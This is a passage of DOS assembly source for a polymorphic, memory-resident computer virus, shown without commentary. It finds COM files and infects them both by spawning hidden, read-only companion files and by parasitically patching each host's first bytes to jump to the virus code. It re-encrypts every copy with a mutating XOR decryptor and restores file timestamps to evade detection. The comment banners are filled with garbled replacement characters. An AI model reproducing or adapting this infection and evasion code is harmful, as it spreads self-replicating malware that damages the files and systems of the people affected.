;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
|
|||
|
mov fname_off,offset fname1
|
|||
|
find_first:
|
|||
|
call ff_func ; findfirst
|
|||
|
|
|||
|
jnc next_loop ; if still finding files then loop
|
|||
|
jmp exit ; if not.. then end this infection
|
|||
|
next_loop :
|
|||
|
cmp byte ptr vtype, parastic ; parastic infection?
|
|||
|
je start_inf ; yes, skip all this
|
|||
|
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
|
|||
|
je ok_find ; for spawning infections
|
|||
|
jmp no_infect
|
|||
|
|
|||
|
ok_find:
|
|||
|
|
|||
|
mov ah,47h ; get directory for
|
|||
|
xor dl,dl ; ..spawning infections
|
|||
|
lea si,file_dir ;
|
|||
|
int 21h ;
|
|||
|
|
|||
|
cmp byte ptr file_dir,0
|
|||
|
jne not_root
|
|||
|
jmp no_infect
|
|||
|
not_root:
|
|||
|
xor bx,bx ;
|
|||
|
lm3 : ; find end of directory name
|
|||
|
inc bx ;
|
|||
|
cmp file_dir[bx],0
|
|||
|
jne lm3
|
|||
|
|
|||
|
mov file_dir[bx],'\' ; append backslash to path
|
|||
|
inc bx
|
|||
|
|
|||
|
mov cx,13 ; append filename to path
|
|||
|
lea si,f_name
|
|||
|
lea di,file_dir[bx]
|
|||
|
rep movsb
|
|||
|
|
|||
|
xor bx,bx
|
|||
|
loop_me: ; search for filename ext.
|
|||
|
inc bx
|
|||
|
cmp byte ptr fcb+1eh [bx], '.'
|
|||
|
jne loop_me
|
|||
|
|
|||
|
inc bx ; change it to COM
|
|||
|
mov word ptr fcb+1eh [bx],'OC'
|
|||
|
mov byte ptr fcb+1eh [bx+2],'M'
|
|||
|
start_inf:
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Change jump & fill space register
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
cmp byte ptr new_code, 0bfh
|
|||
|
jne inc_both
|
|||
|
mov nop_sub, 3fh
|
|||
|
mov byte ptr new_code, 0b7h
|
|||
|
mov byte ptr push_reg, 4fh
|
|||
|
inc_both:
|
|||
|
inc nop_sub ; increment register
|
|||
|
inc byte ptr new_code ; increment register
|
|||
|
inc byte ptr push_reg ; increment register
|
|||
|
|
|||
|
cmp nop_sub, 044h ; don't use SP
|
|||
|
je inc_both
|
|||
|
done_change_jmp:
|
|||
|
|
|||
|
cmp byte ptr vtype, spawn ; spawning infection?
|
|||
|
jne parastic_inf
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Spawning infection
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
spawning:
|
|||
|
mov word ptr new_code+1,offset fill_space
|
|||
|
|
|||
|
lea dx,f_name
|
|||
|
mov cx, 00000011b ; read-only & hidden
|
|||
|
mov ah, 3ch ; Create file
|
|||
|
int 21h ; Call INT 21H
|
|||
|
jc p_no_infect ; If Error-probably already infected
|
|||
|
inc inf_count
|
|||
|
mov bx,ax
|
|||
|
|
|||
|
jmp encrypt_ops
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Parastic infection
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
p_no_infect : jmp no_infect
|
|||
|
p_close : jmp close
|
|||
|
parastic_inf :
|
|||
|
|
|||
|
lea si,f_name ; Is Command.COM?
|
|||
|
lea di,com_name
|
|||
|
mov cx,11
|
|||
|
repe cmpsb
|
|||
|
|
|||
|
je p_no_infect ; Yes, don't infect
|
|||
|
|
|||
|
mov ax,3d02h ; Open file for reading & writing
|
|||
|
lea dx,f_name ; Filename in FF/FN buffer
|
|||
|
int 21h
|
|||
|
|
|||
|
jc p_no_infect ; error, skip infection
|
|||
|
|
|||
|
mov bx,ax ; get handle
|
|||
|
|
|||
|
mov ah,3fh ; Read first bytes of file
|
|||
|
mov cx,07
|
|||
|
lea dx,org_bytes
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp byte ptr org_bytes+4,0c3h ; already infected?
|
|||
|
je p_close ; yep..don't infect it
|
|||
|
|
|||
|
cont_inf:
|
|||
|
inc inf_count
|
|||
|
call offset_end
|
|||
|
|
|||
|
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
|||
|
add ax, offset enc_data
|
|||
|
mov word ptr mov_di,ax ; chg mov di,xxxx
|
|||
|
|
|||
|
call offset_zero
|
|||
|
mov ax,word ptr f_sizeh ; save new address for parastic
|
|||
|
add ax,offset fill_space ;
|
|||
|
mov word ptr new_code+1,ax ;
|
|||
|
|
|||
|
mov ah,40h ; write new first 7 bytes
|
|||
|
mov cx,7 ; .. jumps to virus code
|
|||
|
lea dx,new_code ;
|
|||
|
int 21h ;
|
|||
|
|
|||
|
call offset_end
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Change encryptions ops
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
encrypt_ops:
|
|||
|
push bx ; save file handle
|
|||
|
|
|||
|
cmp pad_bytes,100h ; no more increase in file size?
|
|||
|
je reset_pad ; if yes, reset
|
|||
|
inc word ptr pad_bytes ; Increase file size
|
|||
|
inc word ptr b_wr ; make note of the increase
|
|||
|
jmp pad_ok ; don't reset pad
|
|||
|
reset_pad:
|
|||
|
mov word ptr pad_bytes,0 ; reset pad size
|
|||
|
sub word ptr b_wr,100h ; make note of decrease
|
|||
|
|
|||
|
pad_ok:
|
|||
|
|
|||
|
cmp inc_op,47h ; change ops from DI to SI
|
|||
|
jne set2 ; jmp-change ops to SI
|
|||
|
dec inc_op ; .. change code to use DI
|
|||
|
dec byte ptr xor_op+1 ;
|
|||
|
dec di_op ;
|
|||
|
dec byte ptr enc_addr ;
|
|||
|
dec byte ptr enc_add+1 ;
|
|||
|
jmp chg_three ;
|
|||
|
set2:
|
|||
|
inc inc_op ; increment code to use SI
|
|||
|
inc byte ptr xor_op+1 ;
|
|||
|
inc di_op ;
|
|||
|
inc byte ptr enc_addr ;
|
|||
|
inc byte ptr enc_add+1 ;
|
|||
|
|
|||
|
chg_three:
|
|||
|
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
|
|||
|
cmp dh,48h ; if INC AX then we need to reset it
|
|||
|
jne _change ; else decrement it
|
|||
|
mov dh,40h ; reset to DEC AX
|
|||
|
_change:
|
|||
|
cmp dh,41h ; Don't use INC CX..
|
|||
|
jne no_conflict ;
|
|||
|
mov dh,48h ; Change it to DEC AX instead
|
|||
|
no_conflict:
|
|||
|
cmp dh,47h ; Don't use INC DI
|
|||
|
jne no_conflict2 ;
|
|||
|
mov dh,4bh ; Use DEC BX Instead
|
|||
|
no_conflict2:
|
|||
|
cmp dh,46h ; Don't use INC SI
|
|||
|
jne no_conflict3
|
|||
|
mov dh,0fbh ; Use STI instead
|
|||
|
no_conflict3:
|
|||
|
mov dl,dh ; mov into word reg dx
|
|||
|
push dx
|
|||
|
pop ax
|
|||
|
call clear_encryptor ; fill encryption routine with op
|
|||
|
|
|||
|
mov ah,inc_op ; get register to increment
|
|||
|
mov bx,change_num ; get current rotate count
|
|||
|
cmp bh,0 ; are we at the end of the INCs?
|
|||
|
jne no_reset_change ; nope.. continue
|
|||
|
mov bh,99 ; reset INC #1 position
|
|||
|
xor bl,bl ; reset INC #2 position
|
|||
|
no_reset_change:
|
|||
|
inc bl ; Increment INC #2 position
|
|||
|
dec bh ; Decrement INC #1 position
|
|||
|
mov cl,bl ; store position in CL to add
|
|||
|
xor ch,ch ; high byte = 0
|
|||
|
lea si,xor_inc_space ;
|
|||
|
push si ; save address
|
|||
|
push si ; save it twice
|
|||
|
add si,cx ; add INC #2 position to SI
|
|||
|
mov byte ptr [si],ah ; move INC #2 into address
|
|||
|
pop si ; restore address of fill_space
|
|||
|
mov cl,bh ; store position in CL to add
|
|||
|
xor ch,ch ; high byte = 0
|
|||
|
add si,cx ; add INC #1 position to SI
|
|||
|
mov byte ptr [si],ah ; move INC #1 into address
|
|||
|
mov change_num,bx ; store updated rotation number
|
|||
|
|
|||
|
pop si ; get xor_inc_space address
|
|||
|
mov ax,xor_pos ; get old position of XOR
|
|||
|
cmp ax,95 ; is it at the end of the buffer?
|
|||
|
jne xor_ok ; nope.. increment its position
|
|||
|
mov ax,10 ; reset position to buffer+10
|
|||
|
xor_ok:
|
|||
|
inc ax ; increment position pointer
|
|||
|
add si,ax ; build pointer
|
|||
|
mov dx,word ptr xor_op ; get XOR op
|
|||
|
mov byte ptr [si],02eh
|
|||
|
mov [si+1],dx ; place it into position
|
|||
|
mov xor_pos,ax ; save new XOR location
|
|||
|
|
|||
|
mov ax,addr_pos ; get old position of MOV DI|SI
|
|||
|
cmp ax,17 ; at end of buffer?
|
|||
|
jne addr_inc ; nope.. go increment
|
|||
|
xor ax,ax ; yes.. reset to null
|
|||
|
addr_inc:
|
|||
|
inc ax ; increment pointer
|
|||
|
lea di,address_fill ; get buffer address
|
|||
|
add di,ax ; build pointer
|
|||
|
lea si,di_op ; get address of op
|
|||
|
mov cx,3 ; 3 bytes
|
|||
|
rep movsb ; copy op to location in buffer
|
|||
|
mov addr_pos,ax ; save new MOV DI|SI position
|
|||
|
|
|||
|
mov ax,cx_pos ; get old position of MOV CX
|
|||
|
cmp ax,0 ; back to beginning of buffer?
|
|||
|
jne cx_dec ; nope.. decrement location
|
|||
|
mov ax,17 ; reset to last position in buffer
|
|||
|
cx_dec:
|
|||
|
dec ax ; decrement pointer
|
|||
|
lea di,cx_fill ; get address of buffer
|
|||
|
add di,ax ; build pointer to new location
|
|||
|
lea si,cx_op ; get address of MOV CX op
|
|||
|
mov cx,3 ; 3 bytes length
|
|||
|
rep movsb ; copy to new location
|
|||
|
mov cx_pos,ax ; save new position of MOV CX
|
|||
|
|
|||
|
mov ax,loop_pos ; get old position of LOOP
|
|||
|
cmp ax,0 ; at beginning of buffer?
|
|||
|
jne loop_inc ; nope decrement
|
|||
|
mov ax,8 ; reset to end of buffer
|
|||
|
loop_inc:
|
|||
|
dec ax ; decrement pointer
|
|||
|
lea di,loop_fill ; get address of buffer
|
|||
|
add di,ax ; build pointer
|
|||
|
mov dl,0e2h ; 0E2XX=LOOP XXXX
|
|||
|
xor ch,ch ; high byte=null
|
|||
|
mov cl,9ah ; calculate LOOP offset
|
|||
|
sub cx,ax ;
|
|||
|
mov dh,cl ; save new offset
|
|||
|
mov [di],dx ; write LOOP op
|
|||
|
mov loop_pos,ax ; save new position of LOOP
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Get random XOR number, save it, copy virus, encrypt code
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
d2:
|
|||
|
mov ah,2ch ;
|
|||
|
int 21h ; Get random number from clock - sec/ms
|
|||
|
lea si,xor_inc_space+3 ; build pointer to XOR location+2
|
|||
|
add si,xor_pos ;
|
|||
|
mov word ptr [si],dx ; save encryption #
|
|||
|
push dx
|
|||
|
mov word ptr xor_mem,0000
|
|||
|
|
|||
|
mov si,0100h ; 100h=start of virus in memory
|
|||
|
lea di,vend+heap_size ; destination
|
|||
|
mov cx,offset vend-100h ; bytes to move
|
|||
|
rep movsb ; copy virus outside of code
|
|||
|
|
|||
|
pop dx
|
|||
|
mov word ptr xor_mem,dx
|
|||
|
enc_addr:
|
|||
|
mov di,offset vend
|
|||
|
enc_add:
|
|||
|
add di,offset enc_data-100h+heap_size ; offset of new copy of virus
|
|||
|
mov byte ptr ret_byte,0c3h ; make encryption routine RET
|
|||
|
call encrypt ; encrypt new copy of virus
|
|||
|
mov byte ptr ret_byte,90h ; Reset it to no RETurn
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Write and close new infected file
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop bx
|
|||
|
mov cx, offset vend-100h ; # of bytes to write
|
|||
|
add cx, pad_bytes
|
|||
|
lea dx, vend+heap_size ; Offset of buffer
|
|||
|
mov ah, 40h ; -- our program in memory
|
|||
|
int 21h ; Call INT 21H function 40h
|
|||
|
|
|||
|
mov ax,5701h ; Restore data/time
|
|||
|
mov cx,word ptr f_time ; time from FCB
|
|||
|
mov dx,word ptr f_date ; date from FCB
|
|||
|
int 21h
|
|||
|
|
|||
|
close:
|
|||
|
mov ah, 3eh ; close file
|
|||
|
int 21h
|
|||
|
|
|||
|
no_infect:
|
|||
|
find_file:
|
|||
|
|
|||
|
cmp inf_count, max_inf ; Max files found?
|
|||
|
je exit ; yes, end infection
|
|||
|
call fn_func
|
|||
|
jc exit ; if no files found.. quit
|
|||
|
jmp next_loop ; infect the next file
|
|||
|
|
|||
|
exit :
|
|||
|
cmp inf_count,0 ; Start parastic infection on next run
|
|||
|
jne find_done ; nope.. we're done
|
|||
|
cmp byte ptr vtype, parastic ; Parastic infection done?
|
|||
|
je find_done ; yep, exit already
|
|||
|
mov fname_off, offset fname2 ; Point to new filespec
|
|||
|
mov byte ptr vtype, parastic ; virus type = parastic
|
|||
|
jmp find_first ; do it again for parastic
|
|||
|
|
|||
|
find_done:
|
|||
|
|
|||
|
xor ax,ax ; fill encryption routine with 0
|
|||
|
call clear_encryptor ; .. maybe help lessen IDed in memory?
|
|||
|
|
|||
|
ret ; return
|
|||
|
|
|||
|
resident endp
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Non-resident active code
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
non_res proc
|
|||
|
|
|||
|
db 0bdh ; MOV BP,xxxx - Load delta offset
|
|||
|
set_bp: dw 0000
|
|||
|
|
|||
|
mov ax,ds: 002ch ; Get environment address
|
|||
|
mov par_blk[bp],ax ; Save in parameter block for exec
|
|||
|
|
|||
|
mov par1[bp],cs ; Save segments for spawn
|
|||
|
mov par2[bp],cs
|
|||
|
mov par_seg[bp],cs
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; INSTALL - Install the virus in memory
|
|||
|
